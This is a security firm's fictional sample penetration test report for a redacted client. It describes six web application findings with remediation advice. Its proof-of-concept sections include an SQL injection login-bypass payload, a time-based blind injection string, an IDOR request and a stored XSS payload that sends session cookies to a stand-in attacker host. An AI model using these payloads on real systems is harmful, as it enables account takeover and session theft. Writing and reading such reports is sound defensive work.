WARPSTAR

OFFENSIVE SECURITY

Web Application Penetration Test

Sample / Redacted Report

CONFIDENTIAL — SAMPLE ONLY

CLIENT ACME Corp (redacted)

ENGAGEMENT Grey-box web application assessment

PERIOD 02 Feb 2026 – 13 Feb 2026

VERSION 1.0 · CVSS v4.0

PREPARED BY Warpstar Offensive Security

1 Executive Summary

Warpstar Offensive Security was engaged to perform a grey-box penetration test of ACME Corp's customer web application and its supporting API. The objective was to identify vulnerabilities that a motivated external attacker could exploit, assess their business impact, and provide clear, prioritized remediation guidance.

Testing was conducted over a two-week window against the in-scope targets listed in Section 3, following the methodology in Section 4. In total **six findings** were identified: **1 Critical**, **2 High**, **1 Medium**, and **2 Low**.

The most serious issue is an unauthenticated **SQL injection** in the login API (WS-2026-01), which allows full compromise of the application database — including customer credentials. Combined with an **IDOR** in the user API (WS-2026-02) and **stored XSS** (WS-2026-03), an attacker could realistically achieve large-scale account takeover. We recommend treating WS-2026-01 through WS-2026-03 as urgent.

Overall, the application's security posture is assessed as **HIGH RISK** until the Critical and High findings are remediated and retested.

Findings by severity

Severity	Count	Finding IDs
CRITICAL	1	WS-2026-01
HIGH	2	WS-2026-02, WS-2026-03
MEDIUM	1	WS-2026-04
LOW	2	WS-2026-05, WS-2026-06

Findings register

ID	Finding	Severity	CVSS 4.0
WS-2026-01	SQL Injection in Authentication API	CRITICAL	9.3
WS-2026-02	Insecure Direct Object Reference (IDOR) in User API	HIGH	8.7
WS-2026-03	Stored Cross-Site Scripting in Profile Name	HIGH	8.3
WS-2026-04	No MFA & Weak Account-Lockout (Credential Stuffing)	MEDIUM	6.9
WS-2026-05	Sensitive Data Exposure via Verbose Errors	LOW	4.3
WS-2026-06	Missing Security Headers (CSP / HSTS)	LOW	2.3

2 Scope

The following assets were authorized for testing. All values are redacted for this sample.

Asset	Type	Detail
app.acme-redacted.com	Web app	Customer portal (authenticated + unauthenticated)
api.acme-redacted.com	REST API	v1 & v2 endpoints backing the portal
203.0.113.0/29	Network	Public ingress range (host discovery only)

Engagement details

Engagement type	Grey-box (test accounts provided; no source code)
Window	02 Feb 2026 – 13 Feb 2026, 09:00–18:00 WIB
Testing location	Remote, over authenticated VPN
Authorization	Signed Rules of Engagement & scope letter on file

Limitations & exclusions

- Denial-of-service and volumetric/load testing were explicitly out of scope.
- Social engineering and physical attacks were not performed.
- Third-party services (payment gateway, CDN) were excluded except where they affected in-scope assets.
- Findings reflect the application state during the testing window only.

3 Methodology

Engagements follow a disciplined, repeatable process aligned with industry standards including the **OWASP Web Security Testing Guide (WSTG)**, **OWASP API Security Top 10**, the **Penetration Testing Execution Standard (PTES)**, and **NIST SP 800-115**. Testing blends automated tooling with deep manual analysis — every reported issue is manually verified to remove false positives.

01 · Reconnaissance

Map the attack surface: hosts, endpoints, technologies, authentication flows, and roles.

02 · Threat Modeling

Prioritize targets by likely impact and business risk; define abuse cases per role.

03 · Exploitation

Safely confirm vulnerabilities and demonstrate real, chained impact — not scanner output.

04 · Post-Exploitation

Assess blast radius: privilege escalation, lateral movement, and data reachability.

05 · Reporting & Retest

Document reproducible findings with prioritized fixes; retest remediations at no extra cost.

Tooling (representative)

Burp Suite Professional, nmap, ffuf, sqlmap (manually validated), nuclei, custom scripts. Automated output is always corroborated by hand before inclusion.

Severity & scoring

Each finding is scored with **CVSS v4.0**. The base vector and score are shown per finding. Severity bands: Critical 9.0–10.0 · High 7.0–8.9 · Medium 4.0–6.9 · Low 0.1–3.9 · Info 0.0.

4 Findings

WS-2026-01

SQL Injection in Authentication API

Severity	**CRITICAL**	**CVSS 4.0**	**9.3** (Critical)
Weakness	CWE-89: SQL Injection	**Vector**	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
Affected	`POST https://api.acme-redacted.com/api/v1/login (parameter: username)`		

Description

The login endpoint concatenates the **username** field directly into a SQL query without parameterization. A crafted value alters the query logic, allowing authentication bypass and extraction of arbitrary database contents.

Impact

An unauthenticated attacker can dump the full user table (emails, password hashes, session tokens) and bypass login entirely, leading to complete compromise of customer accounts and sensitive business data.

Proof of Concept

1. Send the login request with the payload below as the username.

```
POST /api/v1/login HTTP/1.1
Host: api.acme-redacted.com
Content-Type: application/json

{"username":"admin' OR '1'='1' -- ","password":"x"}
```

2. The API returns a valid session for the first user (admin) without a correct password.

3. A time-based payload (' OR SLEEP(5)--) confirms blind injection and enables full extraction.

Recommendation

Use parameterized queries / prepared statements for all database access. Apply least-privilege to the application DB account, add a WAF rule as defense-in-depth, and rotate any credentials that may have been exposed.

References

CWE-89: SQL Injection · OWASP Web Security Testing Guide · OWASP Top 10 (2021).

WS-2026-02

Insecure Direct Object Reference (IDOR) in User API

Severity	**HIGH**	**CVSS 4.0**	**8.7** (High)
Weakness	CWE-639: Authorization Bypass Through User-Controlled Key	**Vector**	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`
Affected	`GET/PUT https://api.acme-redacted.com/api/v2/users/{id}`		

Description

The user API returns and updates records based on a client-supplied numeric **id** without verifying that the record belongs to the authenticated caller.

Impact

Any authenticated user can read and modify other users' profiles — including email and phone — enabling mass data harvesting and account takeover via attacker-controlled recovery details.

Proof of Concept

1. Authenticate as a low-privilege test user (id 10472).

2. Request another user's record by changing the id:

```
GET /api/v2/users/10001 HTTP/1.1
Host: api.acme-redacted.com
Authorization: Bearer <token>
```

3. The response returns user 10001's PII. A PUT to the same path updates their email.

Recommendation

Enforce object-level authorization on every request (verify ownership/role server-side). Prefer unguessable identifiers (UUIDs) and add automated access-control tests to CI.

References

CWE-639: Authorization Bypass Through User-Controlled Key · OWASP Web Security Testing Guide · OWASP Top 10 (2021).

WS-2026-03

Stored Cross-Site Scripting in Profile Name

Severity	**HIGH**	**CVSS 4.0**	**8.3** (High)
Weakness	CWE-79: Cross-site Scripting	**Vector**	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N`
Affected	`https://app.acme-redacted.com/account/profile (field: displayName)`		

Description

The **displayName** field is stored without sanitization and rendered unencoded on the admin dashboard, executing attacker-supplied JavaScript in another user's session.

Impact

An attacker can steal session tokens of staff who view the profile, perform actions as them, and pivot toward administrative takeover.

Proof of Concept

1. Set the profile display name to the payload:

```
<script>fetch('https://attacker.example/c?'+document.cookie)</script>
```

2. When an administrator opens the user-management view, the script runs and exfiltrates the cookie.

Recommendation

Context-aware output encoding on render, server-side input validation, a strict Content-Security-Policy, and HttpOnly + SameSite cookies to limit token theft.

References

CWE-79: Cross-site Scripting · OWASP Web Security Testing Guide · OWASP Top 10 (2021).

WS-2026-04

No MFA & Weak Account-Lockout (Credential Stuffing)

Severity	**MEDIUM**	**CVSS 4.0**	**6.9** (Medium)
Weakness	CWE-307: Improper Restriction of Excessive Authentication Attempts	**Vector**	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
Affected	`POST https://api.acme-redacted.com/api/v1/login`		

Description

The application offers no multi-factor authentication and does not throttle or lock accounts after repeated failed logins, allowing automated credential-stuffing and brute-force attacks.

Impact

Attackers can validate leaked credential lists at scale and take over accounts that reuse passwords. Impact is bounded by attacker needing valid usernames/credential lists.

Proof of Concept

1. Submit 1,000 login attempts for a known account in under a minute.

2. No CAPTCHA, rate limit, or lockout is triggered; valid pairs are confirmed by response timing/codes.

Recommendation

Offer (and enforce for staff) MFA, add progressive rate-limiting and lockout with alerting, and integrate breached-password detection at sign-in and registration.

References

CWE-307: Improper Restriction of Excessive Authentication Attempts · OWASP Web Security Testing Guide · OWASP Top 10 (2021).

WS-2026-05

Sensitive Data Exposure via Verbose Errors

Severity	LOW	**CVSS 4.0**	**4.3** (Low)
Weakness	CWE-209: Generation of Error Message Containing Sensitive Information	**Vector**	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
Affected	`Application-wide (unhandled exceptions)`		

Description

Unhandled errors return full stack traces, framework versions, and internal file paths to the client.

Impact

Leaked internal details accelerate further attacks by revealing the tech stack and code structure.

Proof of Concept

1. Send malformed JSON to any API endpoint.

2. The 500 response includes a stack trace, ORM query, and server file paths.

Recommendation

Return generic error messages to clients; log details server-side only; disable debug mode in production.

References

CWE-209: Generation of Error Message Containing Sensitive Information · OWASP Web Security Testing Guide · OWASP Top 10 (2021).

WS-2026-06

Missing Security Headers (CSP / HSTS)

Severity	LOW	**CVSS 4.0**	**2.3** (Low)
Weakness	CWE-693: Protection Mechanism Failure	**Vector**	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`
Affected	`All HTTP responses from app.acme-redacted.com`		

Description

Responses omit Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, and Referrer-Policy headers.

Impact

Weakens defense-in-depth against XSS, clickjacking, MIME-sniffing, and protocol-downgrade attacks.

Proof of Concept

1. Inspect response headers with curl -I https://app.acme-redacted.com/.

2. CSP, HSTS, X-Content-Type-Options, and Referrer-Policy are absent.

Recommendation

Add a strict CSP, HSTS with preload, X-Content-Type-Options: nosniff, and a sane Referrer-Policy at the edge/reverse proxy.

References

CWE-693: Protection Mechanism Failure · OWASP Web Security Testing Guide · OWASP Top 10 (2021).

Appendix A Severity Scale (CVSS v4.0)

Severity	CVSS range	Guidance
CRITICAL	9.0 – 10.0	Fix immediately; active exploitation likely / full compromise.
HIGH	7.0 – 8.9	Fix urgently; significant impact and realistic exploitation.
MEDIUM	4.0 – 6.9	Plan remediation; impact bounded by preconditions.
LOW	0.1 – 3.9	Fix as hygiene / defense-in-depth.
INFO	0.0	Observation; no direct security impact.

This is a fictional sample report produced by Warpstar Offensive Security to demonstrate reporting structure and quality. It does not describe any real client or system. © 2026 Warpstar Offensive Security — warpstar.id